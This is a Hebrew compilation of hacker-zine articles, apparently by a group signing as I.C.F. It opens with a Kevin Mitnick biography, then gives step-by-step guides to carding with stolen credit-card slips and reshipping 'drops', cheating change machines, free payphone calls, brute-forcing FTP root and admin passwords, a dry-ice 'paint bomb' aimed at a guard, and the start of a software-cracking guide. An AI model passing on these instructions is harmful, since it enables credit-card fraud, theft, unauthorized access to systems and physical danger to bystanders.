‫"מה שהניע אותי היה סקרנות ילדותית פשוטה‪ ,‬יכולתי להיכנס לביתכם‪ ,‬לעלעל בספרי הספרייה‬
‫שלכם‪ ,‬לפתוח את המקרר שלכם… אבל אני מעולם לא לקחתי דבר"‪.‬‬
‫בספטמבר ‪ 1998‬הוגש נגדו כתב אישום‪ ,‬התובע דרש בידיד של מאתיים שנים מהעולם החיצון…‬

‫רוצח בקליפורניה‪ ,‬במקרה הכי טוב יקבל ‪ 3‬שנות מאסר‪ .‬אילו קווין מיטניק היה רוצח‪ ,‬הוא בטח‬
‫היה משתחרר בפחות זמן‪ .‬אבל‪ ,‬הוא לא רצח אף אחד‪.‬‬
‫ב ‪ 4‬באפריל‪ ,1999 ,‬אסיר בית בכלא הסגור של לוס‪-‬אנג'לס מספר ‪ 89950-012‬קווין דויד מיטניק‬
‫(נולד ב ‪ )6.8.1963‬הודה באשמה והגיע לעסקת טיעון עם הרשויות‪.‬‬

‫"… האם אי פעם שדדו אותך בלילה‪ ,‬בסמטה חשוכה? כאשר יש לך סכין על הגרון‪ ,‬אתה ממש‬
‫מצטער שבכיסים יש לך יש רק גרושים‪ .‬אתה יודע איך זה עובד‪ ,‬אתה יושב ‪ 3‬שבועות‪ ,‬לבד‪ ,‬מת‬
‫משעמום‪ .‬אחרי זאת מביאים לך תנ"ך מקומט בכריכה רכה וזוג ספרים של שומרי החוק‬
‫השנואים‪ ,‬בכל אחד מהם‪ ,‬עשרות סיפורים על איך איזה חרא גנב את הארנק מסבתא זקנה ובגלל‬
‫זה היא לא יכלה לקנות לעצמה תרופות ו ‪ 911‬לא יכלו לעזור לה‪ .‬וזהו‪ .‬אתה מבין שאתה כבר לא‬
‫יכול לצאת מזה‪ .‬אבל‪ ,‬אני לא ממש מאמין שהחבר שלנו קנה את זה‪ ,‬הוא הרי גאון מטומטם‪ ,‬יכול‬
‫להיות שחשב על משהו…"‬

‫הנה לפניכם כרונולוגיה של הפעולות הלא חוקיות הראשוניות של "מלך ההאקרים של כדור‬
‫הארץ"‪:‬‬

‫שנות השבעים‪ .‬פריקינג (‪ ,)phreaking‬ידוע יותר כפשע הקשור בטלפון‪ ,‬הפיכת הטלפון הביתי שלו‬
‫למאין טלפון ציבורי‪ ,‬בהרמת השפופרת‪ ,‬במקום צליל של קו שומעים קול צרוד של גבר המבקש‬
‫להכניס ‪ 20‬סנט‪.‬‬

‫‪ – 1980‬פריצה לרשת המחשבים של סגל בית הספר שלו‪ ,‬לא נגע לא במאגר הציונים ולא בקבצים‬
‫האישיים של המנהל‪ ,‬קווין ניסה את כוחו בלבד‪.‬‬

‫‪ – 1981‬פריצה מוצלחת לרשת המחשבים של מערכת חיל האוויר במדינתו‪ ,‬מדינת קולורדו‪.‬‬
‫קיבל נזיפה מהרשויות‪.‬‬

‫‪ – 1982‬לא ממש פריצה במובן של מחשבים‪ ,‬קוויו ועוד שני חברי הצליחו לחדור לבניין של חברת‬
‫‪ Pacific Bell‬ולגנוב ספרי הדרכה של ‪ COSMOS’y‬ושל ‪. MicroPort’y‬‬
‫המעצר הראשון – ‪ 3‬חודשים בלוס‪-‬אנג'לס‪ ,‬במרכז הטיפול בעבריינים צעירים ‪ +‬שנה על תנאי‪.‬‬

‫‪93‬‬
‫שבועיים אחרי השחרור‪ ,‬מעצר של ‪ 6‬חודשים על שימוש לא חוקי במחשב האוניברסיטה לצורך‬
‫גישה לרשת ה ‪ ARPHANet‬של הפנטגון‪.‬‬
‫שחצי שנה הזאת ה ‪ ARPHANet‬הפכה לרשת לצורכי חינוך בלבד‪ ,‬וקווין לאחד המומחים‬
‫הטובים ביותר בנושא הטלפונים הסולריים ובנושא רשתות מחשבים‪.‬‬

‫"… הוא היה ילדון‪ ,‬אוקי? ואני סחבתי בשבילו ספרים מהספרייה‪ ,‬אז קראו לו עכברוש‪ ,‬הוא נגס‬
‫בסלע מדעי השטן ביהירות רבה‪ .‬הוא עצמו אהב שקראו לו "קונדור"‪ .‬איך שהילדים הלבנים‬
‫האלה אוהבים כינויים קולנועיים…"‬

‫במשך ‪ 5‬השנים הבאות קווין הצליח להימנע מסכסוכים עם החוק‪ ,‬כלפי חוץ‪ ,‬הוא ניהל חיים‬
‫משפחתיים שקטים בעיר קליפורנית קטנה – "אלך האלונים" (‪ .)Thousand Oaks‬סוף האידיליה‬
‫קרה בסמוך לחג המולד בשנת ‪.1987‬‬

‫‪ 3 – 1988‬שנים על תנאי‪ ,‬על גניבת תוכנות מחברת ‪ , Santa Cruz Operation‬בסוף השנה קווין‬
‫שוב מאחורי הסורגים‪ .‬הוא מואשם בגניבת קוד מקור פרטי ממעבדת המחקר של‬
‫‪ Digital Equipment Corporation‬שנמצאת בפאלו אלטה‪ ,‬המטרה הייתה גרסה לא חוקית של‬
‫מערכת ההפעלה ‪ . VMS‬דבר זה עלה לקווין בשנת מעצר‪.‬‬
‫חוץ מזה קווין נשלח לקורס של "ריפוי מהתמכרות למחשבים" של ‪ 6‬חודשים‪.‬‬

‫תנאי השחרור‪ :‬לעולם לא להתקרב למחשב עם מודם‪.‬‬


‫אז מיטניק לא מתקרב‪ ,‬משתדל למלא אחרי כללי המשחק‪ .‬הדברים קורים כבאורך פלא‪:‬‬
‫הטלפון של הקצין מבחן מנותק‪ ,‬חשבון הבנק של השופט נעלם‪ ,‬ממאגרי המידע של בית המשפט‬
‫בסנטה קרוז נעלם המידע על מעצרו ומשפטו של קווין‪.‬‬
‫מדברים על כך שבשנת ‪ 1990‬אפילו ראו את קווין בישראל‪ ,‬לשם הוא הגיע בכדי להיפגש עם‬
‫חבריו ההאקרים‪ ,‬למרות האיסור לצאת לחו"ל‪.‬‬

‫בשנים הבאות‪ ,‬חייו של מיטניק נכנסים לנתיב נורמלי‪ ,‬ואז פתאום‪ ,‬מות אחיו‪ ,‬האדם הקרוב אליו‬
‫ביותר‪.‬‬
‫את הפעולות הבאות של מיטניק מסבירים בצורות שונות‪ ,‬יש האומרים שזה ניסיון להלחם‬
‫בדיכאון ויש הטוענים שזה הרצון להשיג כמה שיותר כסף בפרק זמן קצר‪.‬‬
‫בזמן הזה הוא חשוד בבקשה לקבלת מסמכים סודיים ממשרד התחבורה של ארה"ב‪ ,‬הבקשה‬
‫נענתה כיוון שהיא נשלחה ממשטרת המדינה‪.‬‬
‫כמו כן הוא חשוד בפריצה לרשתות הפנטגון וה ‪ FBI‬באותה שנת ‪.1992‬‬
‫מנסים לתלו עליו את האשמה בציתות למחלקת האבטחה של חברת ‪.Pacific Bell‬‬
‫ה ‪ FBI‬עורך חיפוש בביתו של קווין‪ ,‬המצב מתלקח ומיטניק נעלם למספר שנים‪.‬‬

‫בין השנים ‪ 1994 – 1992‬הוא חי בשקט בסיאטל תחת השם בראיין מריל‪ .‬בתקופה הזאת‬
‫חושדים שהוא אחראי לגניבת מערכות הבקרה של תקשורת סלולרית של החברות ‪Motorola,‬‬
‫‪ Nokia‬ו ‪ , .McCaw Cellular Communication Inc‬פריצה של מערכת האבטחה של חברת‬
‫‪ ,Sun Microsystems‬וגם גניבת גרסת ההרצה של מערכת אבטחת הרשתות ‪. SATAN‬‬
‫אז הוא כמעט נתפס‪ ,‬המשטרה הצליחה לעלות בחכתה מספר טלפונים סלולריים‪ ,‬ספרים‬
‫בנושאים של מחשבים‪ ,‬רשתות ותקשורת ומכשיר להאזנה לתדר של המשטרה‪.‬‬

‫חג המולד ‪ – 1994‬כמתנת חג החליט קווין להביא לעולם משחק חתול‪-‬עכבר עם אחד המומחים‬
‫הגדולים ביותר בעולם במערכות אבטחה – ציטומו שימומורה‪.‬‬
‫ציטומו לא רק שהיה מוכן למשחק עם קווין אלא גם הכין לו מלכודת‪ ,‬למעשה כל אחד יכל ליפול‬
‫בפח הזה‪ ,‬לא הייתה כאן מטרה לתפוס את קווין‪.‬‬
‫מבחוץ הכל נראה כך‪:‬‬
‫המומחה הבינלאומי לאבטחת מחשבים‪ ,‬ציטומו שימומורה נסע לחופשה לנבדה ו"שכח" לנתק מן‬
‫הרשת את מחשבו המוגן‪ .‬המלכודת הייתה בכך שכל דבר שקרה במחשב תועד בלוג במחשב אחר‪.‬‬
‫כאשר המחשב נפרץ‪ ,‬ציטומו מיד קיבל על כך הודעה‪.‬‬
‫לפי המומחיות של הפריצה‪ ,‬הפיתיון נתפס ע"י מישהו משהו גדול‪.‬‬

‫‪94‬‬
‫אם קודם ציטומו לא התכוון לנקום‪ ,‬אך אחרי שלא רק נגנבו ממחשבו קבצים ותוכנות אבטחה‪,‬‬
‫גם הושארו הודעות קוליות מעליבות‪.‬‬
‫ציטומו התחיל לפעול לתפיסתו של מיטניק‪ ,‬הוא פנה בבקשת עזרה ל ‪ FBI‬ולבסוף הצליח לגלות‬
‫את מיקומו של מיטניק ברדיוס של ‪ 2‬ק"מ‪.‬‬
‫ב ‪ 15‬בפברואר ‪ 1995‬בשעה ‪ 01.30‬קווין נתפס‪.‬‬

‫ב ‪ 21.01.2000‬קווין שוחרר לבסוף‪ ,‬אבל עדיין אסור לו להשתמש במחשב ולהעביר הרצאות‬
‫בנושא מחשבים ולעבוד בכל משרה הקשורה למחשבים עד ה ‪ ,20.02.2003‬כאשר יהיה חופשי‬
‫באופן סופי‪.‬‬

‫מעצרו של קווין לא הועיל הרבה בניסיון להפסיק את פעולות ההאקרים‪ ,‬אפילו נתן זיקה לפעולות‬
‫אלו כי במשך מעצרו המון האקרים פרצו לאתרים שונים תחת הסיסמא "חופש לקווין" – ‪FREE‬‬
‫‪.KEVIN‬‬
‫‪By Boris‬‬

‫‪95‬‬
‫כסף חינם‬
‫כאן ‪.E-man‬‬
‫היום אני אכתוב על ‪.Carding‬‬
‫‪ Carding‬הוא מונח שהומצא לשיטה שבא אנשים קונים בכרטיסי אשראי לא‪-‬שלהם באינטרנט‪.‬‬
‫זהו דבר מאוד מסוכן ולא מומלץ למתחילים שבנינו‪.‬‬
‫אני אכתוב על תהליך ה ‪ carding‬מההתחלה‪ ,‬עד הסוף (הטוב והמר)‬
‫אז בואו נתחיל‪.‬‬

‫קודם כל‪ ,‬אתם בטח שואלי‪ ,‬מאיפה לעזאזל אני ישיג אשראי???‬
‫אז הנה התשובה‪:‬‬
‫יש שלוש שיטות שאני יודע עליהן‪ ,‬אני יתחיל מהמומלצת ביותר עד לא הכי מומלצת‪.‬‬

‫‪ )1‬אתם מכירים את החנויות העניות האלה שעדיין משתמשות ב"מגהץ" לחיוב אשראי?‬
‫אלו הן המטרות שלכם! לכו בלילה לפח שמאחורי החנות (לא לשכוח לבוא עם בגדים ישנים‬
‫ושחורים‪,‬פנס ותיק של טיול השנתי )‬
‫קפצו פנימה! אתם תגלו שכרגע קפצתם לאשפה הכי נקייה שראיתם בחיים‪ .‬חוץ מניירות‪ ,‬לא‬
‫יהיה שם כלום‪ .‬בכל מקרה‪ ,‬תפעילו את הפנס שלכם ותתחילו לחפש ניירות קטנים כאלה בצבע‬
‫אפור‪.‬‬
‫בדרך כלל הם נמצאים איזה חבילה של ‪ 100‬בכל שקית זבל‪ .‬מצאתם? יופי! יש לנו כרגע כרטיסי‬
‫אשראי! (תלוי כמה היו שם)‪ .‬במקרה שבאמצע החיפוש שלכם אתם נתקלים בשומר‪ ,‬אל תזוזו!‬
‫אם הוא שמע אותם‪ ,‬ואומר לכם לצאת‪ ,‬אל תצאו‪ ,‬תתחילו לעשות קולות מפחידים‪ ,‬זה בדרך כלל‬
‫עובד (אתם יודעים‪ ,‬לילה חשוך והוא לבד‪ ,‬הוא מפחד בדיוק כמוכם‪ -‬כי שומרים פשוט לא יודעים‬
‫מה הם רוצים מהחיים שלהם ‪ ,‬או תדחפו לו כמה דולרים(שוחד) )‪ .‬אם הוא עדיין עומד שם ואומר‬
‫לכם לצאת‪ ,‬תכוונו עליו את הפנס שלכם‪ ,‬ובעוד הוא מסתנוור‪ ,‬תברחו משם! ‪ -‬כמו שאתם תברחו‬
‫ממחבל (רק אם אתם יכולים לקחת את השקית‪ ,‬קחו אותה)‪ .‬הגעתם הביתה? אל תצאו מהבית‬
‫לפחות שבועיים (לבית ספר מותר ‪ ):‬מצטער ‪.) ):‬‬

‫‪ )2‬תפרצו‪ ...‬לא ממש לבוא ולשבור חלונות‪ ,‬אני מתכוון ‪ .hacking‬אבל זה רק למי שיודע‪.‬‬

‫‪ )3‬זאת השיטה הכי פחות לא מומלצת‪ .‬אתם מכירים את המכונות להשכרת סרטים נכון? אתם‬
‫יודעים שאחרי שיוצא הסרט גם יוצאת חשבונית שעליה כתוב מספר כרטיס האשראי? עכשיו כן‪.‬‬
‫בכל מקרה‪ ,‬תעמדו ליד המכונה כאילו אתם רוצים לבחור סרט‪ ,‬וכשמישהו אחר בא ומשכיר סרט‪,‬‬
‫קחו את החשבונית ותברחו משם!‬

‫*** רק אם לאותו אחד שבא להשכיר סרט יש כרטיס אשראי בין לאומי (אני יגיד מהם בהמשך)‬
‫אז עושים את השיטה הזאת‪.‬‬

‫אוקי‪ ,‬בהנחה שהגעתם הביתה בריאים ושלמים (טוב‪ ..‬רק שלמים) אפשר להתחיל את המיון!‬
‫תמיינו ככה‪,‬‬

‫כרטיסי אשראי שמתחילים ב‪ 60 ,52 - 51 ,49 - 40 :‬ו ‪( 37‬זה כל מה שאני יודע מהסדרה של ‪)3‬‬
‫בצד ימין‬

‫כל האחרים‪ ,‬צד שמאל‪.‬‬

‫מה שיש לנו עכשיו זה ככה‪:‬‬

‫צד ימין‪ ,‬כרטיסי אשראי מוכנים לשימוש!!!‬

‫צד שמאל‪ ,‬ערמה של זבל שצריך לשרוף‪.‬‬

‫כשאתם מחליטים שאתם רוצים לקנות תעשו את הדברים הבאים‪:‬‬

‫‪ )1‬תשיגו מחשב שיש לו גישה לאינטרנט והוא לא בבית שלכם (בית ספר וספרייה זה מושלם)‪.‬‬

‫‪96‬‬
‫‪ )2‬חובה אישור לעבודה על המחשב הזה‪.‬‬

‫‪ )3‬דרך מילוט שקטה‪.‬‬

‫תביאו אתכם כרטיס אשראי אחד מהרשימה שלכם‪ ,‬כנסו לאתר שבו אתם רוצים לקנות‪ ,‬ותקנו!‬
‫(אבל רק תוכנות להורדה בתשלום! לא לשלוח שום דבר הביתה!!!)‪ .‬במקרה שהאתר רוצה שגם‬
‫תבחרו באיזה סוג כרטיס אשראי אתם משלמים חוץ מהמספר‪ ,‬הנה הסוגים‪:‬‬

‫‪ :49 - 40‬ויזה‬
‫‪ :52 - 51‬מאסטרכארד‬
‫‪ :60‬דיסקברי‬
‫‪ :37‬אמריקן אקספרס‬

‫אם אתם רוצים לקנות דברים שצריך לשלוח הביתה‪ ,‬זה כבר סיפור אחר‪ ,‬אתם צריכים "‪."Drops‬‬
‫‪ Drops‬הם אנשים בעולם שאליהם אתם שולחים את מה שקניתם והם שולחים את זה אליכם‬
‫הביתה‪ ,‬ככה המשטרה לא יודעת מה קרה לחבילה‪.‬‬

‫קודם כל אתם צריכים ליצור קשר עם ‪ ,drop‬אני ממליץ לחפש ב ‪.IRC‬‬

‫אחרי שמצאתם לפחות ‪ 2‬דרופים‪ ,‬תגידו להם (אל תגידו שיש לכם ‪ 2‬דרופים‪ ,‬לכל דרופ תגידו‬
‫שהוא הדרופ היחיד) שאתם צריכים דרופ בלהבלה ותבקשו כתובת‪ .‬יש לכם ‪ 2‬כתובות? מגניב!‬
‫עכשיו תגידו לאחר הדרופים שהוא הולך לקבל חבילה בימים הקרובים והוא צריך לשלוח את זה‬
‫אליכם הביתה‪ ,‬אבל אל תתנו לו את הכתובת של הבית‪ ,‬אלה את הכתובת של הדרופ השני! לדרופ‬
‫השני (הכי טוב שיהיה ישראלי) תגידו לשלוח לכם את זה הביתה ותנו לו את הכתובת האמיתית‪.‬‬
‫אם אתם ממש רוצים והדרופ הוא ישראלי‪ ,‬אפשר גם ללכת להפגש איתו אישית ולקחת את‬
‫החבילה‪ ,‬אני ממליץ על זה‪.‬‬

‫אל תשכחו לשלוח לכל דרופ משהו (מתנה בשויי ‪ 20‬דולר תספיק‪ ,‬כמובן מהכרטיס אשראי ולא‬
‫מהכסף שלכם ‪.) ):‬‬

‫אחרי שקיבלתם את החבילה‪ ,‬אל תתחילו להתלהב מזה ולספר לחברים!‬


‫תשמרו את החבילה בסוד עד יום ההולדת שלכם‪ ,‬ורק אז תגידו שקיבלתם את זה ליום ההולדת‪.‬‬

‫תתחדשו‪.‬‬
‫‪]By E-man [I.C.F‬‬

‫‪97‬‬
‫עוד שיטה‪ -‬כסף חינם – בלי דרופים‬

‫‪ .1‬אם אין לכם כוח לחפש דרופים שלחו את החבילה לבית נטוש או שעדיין לא התיישבו בו וכל‪.‬‬
‫‪ .2‬הכינו מכתב שאומר‪:‬‬
‫__________________________________________________________‬
‫|‬ ‫| שלום אני מר "השם שקראתם לעצמכם בהזמנה "‬
‫|‬ ‫| מס' ת‪.‬ז‪" .‬מספר"‬
‫|‬ ‫| מס' "כרטיס אשראי"‬
‫|‬ ‫| מבקש להשאיר את החבילה ליד הדלת כאשר אני לא נמצא בבית‬
‫|‬
‫תודה רבה‬ ‫|‬
‫מר " השם שלו "‬ ‫|‬
‫חתימה‬ ‫|‬
‫|__________________________________________________________‬
‫*סליחה אבל לא היה לי כוח להשלים את הפסים שמשמאל ( מה זה משנה ‪)...‬‬
‫שהכל יראה אוטנטי ואמיתי ‪ .‬כי אם לא חבל עליכם ‪....‬‬

‫‪ .3‬כל יום תבוא ב ‪ 7‬אחר הצהרים לבדוק את הבית ואם אתם רואים את החבילה קחו אותה‬
‫ותברחו ‪ ...‬כמה שיותר מהר ‪.‬‬

‫‪]By Old-Hacker [I.C.F‬‬

‫‪98‬‬
‫איך לקבל אינטרנט יותר זול מכולם? מאת ‪E-man‬‬
‫מושגים ‪:‬‬
‫‪ = ISP‬ספק אינטרנט ‪.‬‬
‫‪---------------------------‬‬
‫אתם בטח יודעם כמה יקר השימוש באינטרנט בישראל‪...‬‬
‫‪ 19$‬לחודש‪..‬‬
‫אחותי‪ ,‬על מה?‬
‫אם אתם חושבים כמוני‪ ,‬זה בשבילכם‪:‬‬

‫התהליך הזה הוא לאמיצים בלבד ויכול לקחת ‪ 3‬חודשים או יותר‬


‫אבל בסוף זה משתלם‪.‬‬

‫הנה ההוראות‪:‬‬

‫‪ )1‬הירשמו לאיזה ‪ ISP‬שאתם רוצים לתקופת ניסיון של ‪ 3‬חודשים‪.‬‬

‫‪ )2‬בתקופת ניסיון זו‪ ,‬התלוננו על כל מה שרק אפשר‪ ,‬כל שבוע ‪.‬‬

‫‪ )3‬אחרי שעברו ה‪ 3-‬חודשים המפרכים האלה‪ ,‬ה ‪ ISP‬שאליו נרשמתם ישאלו אתכם אם תרצו‬
‫להמשיך את תקופת הניסיון‬

‫תגידו שאתם לא רוצים כי ‪ ISP‬מתחרה (שאותו תכינו מראש ונסביר עליו בהמשך) הציע לכם‬
‫מחיר טוב יותר‪.‬‬

‫‪ )4‬בינתיים ב ‪ ISP‬המתחרה‪ ,‬תשאלו אם כדאי לכם לעבור מה ‪ ISP‬הקודם שנרשמתם אליו ל ‪ISP‬‬
‫הזה‪ ,‬כמובן שתקבלו "כן! בטח!" תגידו שאתם לא בטוחים כי ה ‪ ISP‬הקודם יותר טוב‪ ,‬הם ישאלו‬
‫למספר טלפון ושם ויגידו ביי‬

‫למחרת תקבלו טלפון מה ‪ ISP‬המתחרה עם הצעה יותר טובה מה ‪ ISP‬הקודם!‬

‫תגידו את זה ל ‪ ISP‬הקודם ותקבלו אינטרנט חינם! (כמובן לא חופשי חודשי אבל גם זה שווה!)‬

‫מה שיוצא לכם זה ככה‪:‬‬

‫‪ ISP‬אחד מוזל מאוד עם חופשי חודשי‬

‫‪ ISP‬אחר חינם בלי חופשי חודשי‬

‫כל מה שכתוב במאמר זה בדוק על ידי!‬

‫]‪By E-man [I.C.F‬‬

‫‪99‬‬
‫מזומן חינם‪ – ...‬איך לעבוד על מכונות שפורטות כסף‬

‫המאמר הזה יעסוק בדבר שכולנו אוהבים וצריכים (לא סקס יא ראש כחול!)‬
‫אני מדבר על ‪$$$‬כסף‪ ,$$$‬מי לא אוהב כסף?‬
‫מי לא צריך כסף?‬
‫מי לא משתמש בכסף?‬

‫אם ענית על אחת מהשאלות האלה "אני"‪ ,‬תעבור למאמר הבא‪.‬‬

‫בכל מקרה‪ ,‬בואו נעבור לחלק הרעיוני‪:‬‬

‫כולנו מכירים את המכונות האלה לפריטת כסף נכון?‬


‫רק תחשבו כמה כסף יש בפנים‪...‬‬
‫בוא נראה איך מכונה כזאת עובדת‪:‬‬
‫כשאתה מכניס שטר של ‪ 20‬שקל (אנחנו תפרנים שכחתם? ‪,) ):‬‬
‫המכונה סורקת אותו כדי למצוא סממנים שנמצאים בתוך השטר עצמו!‬
‫זאת אומרת שאם תכתוב ‪ 50‬שקל על נייר ותכניס אותו למכונה כל מה שתקבל יהיה כאב ראש‪:( .‬‬

‫מה שאנחנו רוצים הוא לא לעבוד על המכונה‪,‬‬


‫אלה לא לאפשר למכונה לקחת מאתנו את השטר!‬

‫מכונות כאלה‪* ,‬אחרי* שקראו את השטר ופרטו אותו‪ ,‬רק אז הן בולעות את השטר!‬
‫זאת אומרת שאנחנו לא רוצים לתת למכונה לקחת לנו את השטר היקר מכל שלנו‪.‬‬

‫איך עושים את זה?‬


‫עכשיו הגענו לחלק המעשי‪:‬‬
‫‪ )1‬הכן לך מראש שטר של הסכום הרצוי (רצוי ‪ 20‬שקל כי מי רוצה להסתובב עם ‪ 50‬או ‪100‬‬
‫שקלים בארנק?)‬
‫‪ )2‬מצא את נקודת האמצע של השטר ועטוף אותו במסקנטייפ (סלוטייפ עבה במיוחד)‬
‫זאת אומרת‪:‬‬
‫אם ככה נראה השטר‪:‬‬

‫אמצע‬
‫|‪|----------------------------------‬‬
‫‪| 20‬‬ ‫|‬
‫|‬ ‫|‬
‫|‬ ‫|‬
‫|‬ ‫שטר‬ ‫|‬
‫|‬ ‫|‬
‫|‬ ‫|‬
‫|‬ ‫| ‪20‬‬
‫|‪|----------------------------------‬‬

‫אז ככה יראה השטר אחרי ההדבקה שלנו‪:‬‬


‫אמצע‬
‫===================================‪|-----------------------‬‬
‫‪| 20‬‬ ‫===================================‬
‫|‬ ‫===================================‬
‫|‬ ‫===================================‬
‫|‬ ‫שטר‬ ‫===================================‬
‫|‬ ‫===================================‬
‫|‬ ‫===================================‬
‫|‬ ‫===================================‬

‫‪100‬‬
‫===================================‪|-----------------------‬‬
‫מקרא ‪ > = = :‬מסקנטייפ‬

‫‪ )3‬מכניסים את השטר המחובר למסקנטייפ למכונה ופורטים את הכסף (אל תעזבו את השטר!!!)‬

‫‪ )4‬מחזיקים את השטר חזק (הוא לא יקרע אם עשיתם את זה נכון)‬

‫‪ )5‬מחכים עד שהמכונה עוזבת את השטר ובבית מוציאים את המסקנטייפ‬

‫כל היופי בדבר הזה שאפילו אם השטר נקרע‪ ,‬עדיין קיבלתם את הסכום שלו חזרה במטבעות ‪):‬‬
‫(ואפשר להדביק אותו חזרה ‪ ...‬ועוד לקנות דברים בזה )‪.‬‬

‫]‪E-man [I.C.F‬‬

‫‪101‬‬
‫דיבור ללא תשלום בטלפון ציבורי‬

‫זוהי הכתבה הראשונה של מילקי – אני צופה לו עתיד מזהיר‪...‬‬

‫אני רוצה להתקשר לחבר שלי ! ואני לא רוצה להוציא שיחה מהפלאפון שלי כי זה עולה כסף !!‬
‫ואין לי הרבה טוקמן ! או שאני דיברתי יותר מידי החודש ! זה לא משנה ! העיקר שזה חינם !‬

‫מצרכים‪:‬‬
‫פלאפון מהסוגים הבאים נוקיה {משחקים בדוק}‬
‫סמסונג ! ועוד אני בדקתי על הסוגים האלה !‬

‫הפעולה‪:‬‬
‫אז עכשיו נלמד איך בדיוק עושים זאת !!‬
‫הולכים לטלפון ציבורי {רק על זה בדקתי} ומצמידים את הפרסקת של הפלאפון לפומית של‬
‫הטלפון הציבורי ! ומתחילים לחייג את המספר בפלאפון ! אבל לא לחייג כי זה יעלה לכם כסף !‬
‫אז פשוט ללחוץ את המספר‬
‫נגיד טוב ! אז ככה אני מצמיד את הבפרסקת {מאיפה‬ ‫דוגמא ‪ :‬המספר של חבר שלי הוא‬
‫ששומעים} של הפלאפון שלי !! לאיפה שמדברים בטלפון הציבורי ! ואני מתחיל לחייג את המספר‬
‫ולא לוחץ ‪send‬‬ ‫שלו‬
‫בשום אופן כי אז זה יעלה כסף ! אבל ברגע שאני רושם את המספר והטלפון ציבורי שומעה את‬
‫המספרים ! והוא מתחיל לחייג ! יש טלפונים ציבורים ! שזה לא עובד עליהם זה מחייג אתה יכול‬
‫להגיד מילה שניות וזה מנתק אבל יש טלפונים שזה חופשי !!! אז מנצלים {חורשים עליו}‬
‫ליד הבית שלי אין טלפון כזה אבל יותר רחוק מצאתי טלפון ! רובם לא עובדים אבל יש גם שכן‬
‫וזה שווה ! אז תיהנו !!!‬

‫]‪By Milki [I.C.F‬‬

‫‪...‬הוספה‬

‫השיטה עובדת גם על טלפונים עם מטבעות ‪ ( .‬כאלה שיש בחנות ‪ ,‬בבתי חולים ‪ ,‬בבית ספר ועוד‪)...‬‬
‫‪ .‬עושים אותו דבר מצמידים את הפלאפון לוחצים מספרים וזה מחייג‬

‫]‪By Old-Hacker[I.C.F‬‬

‫‪102‬‬
‫כוח ברוטלי‬

‫שלום לכולם ‪ .‬זה אני ‪.Old-Hacker‬‬

‫‪ .‬תמיד חלמתם להריץ סיסמאות (‪ 010110‬כמו בסרטים ) וזה בדיוק מה שזה כוח ברוטלי‬

‫עם כוח ברוטלי אפשר לפרוץ לכל מקום באינטרנט ‪ :‬אתרים ‪ ,‬אי מאיילים ‪ ,‬אי סי קיו ‪ ,‬מירק ועוד‬
‫‪( ......(.‬פשוט הכל‬

‫טוב אז ככה ‪ -‬כוח ברוטל י היינו שיטה אשר מנסה לגלות את הסיסמא של דבר מסוים ע"י צירוף‬
‫‪ .‬של כמה מספריים \ אותיות‪ +‬ניסיונות רבים ‪ -‬חוזרים ונשנים‬

‫למשל ‪ :‬אם אני רוצה לפרוץ ל ‪...(FTP‬של אתר שקוראים לו זזז ( סתם‬
‫‪ :‬אז הכתובת‬
‫‪ftp.zzz.com‬‬
‫וה ‪ user name‬יהיה לרוב ‪:‬‬
‫‪Root in unix\linux Server‬‬
‫‪Admin or administrator in NT\2K Server‬‬

‫‪ ...‬ואת הסיסמא תנו לתוכנת כוח ברוטלי לחפש‬


‫התוכנה שאני הכי אוהב לכוח ברוטלי היא*‪ Brute Force‬שאפשר‬
‫‪.‬להוריד אותה באגף ההורדות באתר שלי‬

‫‪ :‬טוב לתוכנה יש שתי אפשרויות של חיפוש‬


‫‪Word list‬‬
‫‪Brute Force‬‬

‫מה זה ‪?Word list‬‬


‫זה ניסיון פריצה בעזרת מילונים שזה קובץ עם מספר רב של מילים שמנהל האתר אולי חשב‬
‫‪ ...‬עליהם כסיסמא‬
‫אפשר להשיג כאלה המון באינטרנט למשל קובץ של ‪ 20‬מגה שנפתח ל ‪ 80‬מגה רק של מילים ( אני‬
‫‪ (.‬משתמש רק בו ‪ ...‬הכי טוב‬
‫‪http://hackersclub.com/km/files/password_cracker/wordlists/hh_dictall.zip‬‬
‫מה זה ‪Burte Force‬‬
‫זוהי פונקציה שאומרת למחשב להתחיל להריץ סיסמאות ‪ ...‬זה מחיל ב‬
‫‪Aa‬‬
‫‪Ab‬‬
‫…‪Ac‬‬
‫‪ .‬וככה זה ממשיך עד שזה מוצא את הסיסמא‬

‫אני ממליץ להשתמש במילונים משום שיש שם את המילים הנפוצות ביותר ‪(..‬וגם בגלל שאני*‬
‫‪...(.‬משתמש בזה‬
‫]‪By Old-Hacker [I.C.F‬‬

‫‪103‬‬
‫פצצת צבע‬

‫‪ :‬מצרכים‬
‫( צבע והרבה ‪ -‬מומלץ להתחלק במחיר עם כמה חברים ‪( ...‬ולדלל עם מים כדי שיצא יותר צבע‬
‫(לבוש ישן (מומלץ שחור‬
‫חוש התמצאות‬
‫מומלץ חברים‬
‫קרח יבש‬

‫לבוא יום אחד ולארגן ‪ 5‬חברים שכל אחד מביא כמה כסף וקונים צבע ( תיקנו את הכי זול שיש)‬
‫לוקחים מים ומערבבים עם הצבע ‪ .‬בבקר למחרת באים ושמים את הצבע בפח מקרבים אותו‬
‫לשומר ושמים את הקרח היבש בפנים … ואז צועקים " פצצה " ובורחים משם מהר ואז יש‬
‫ספלאש‪...‬‬

‫‪By cool-guy && blackdeath && Old-Hacker‬‬

‫‪104‬‬
‫המדריך ל ‪ Cracker‬המתחיל \‪Zeos /‬‬
‫===========================‬

‫תוכן עניינים‪:‬‬
‫=============‬
‫א‪.‬מבוא‬
‫ב‪.‬מה זה פיצוח‬
‫ג‪.‬מטרות הפיצוח‬
‫ד‪.‬חוקיות‬
‫ה‪.‬ידע נדרש‬
‫ו‪.‬ידע חובה‬
‫ז‪.‬כלים נפוצים למפצח‬
‫ח‪.‬הורדת הכלים‬
‫ט‪.‬תודות‬

‫א‪ .‬מבוא‬
‫=======‬
‫לפני שאני ימשיך עם המדריכים המורכבים יותר כתבתי את המדריך הזה שכולל בתוכו דברים‬
‫שכל מי שרוצה‬
‫להיות מפצח צריך לדעת וגם תוכנות שונות שצריך להשיג ומאיפה להשיג‪.‬‬

‫{הערה‪ :‬סוג הפיצוח שמדובר הוא פיצוח תוכנות ולא אתרי אינטרנט או משהו אחר אם חשבת}‬

‫ב‪ .‬מה זה פיצוח‬


‫==============‬
‫לפצח זה להתעלות על מערכות הגנה (הכוונה לתוכנות בד"כ במדריכים שלי) ולנתב אותם לכל‬
‫צורך‬
‫שאתה רוצה‪ .‬או לשנות כל דבר במחשב כך שיפעל כמו שאתה רוצה‪.‬‬

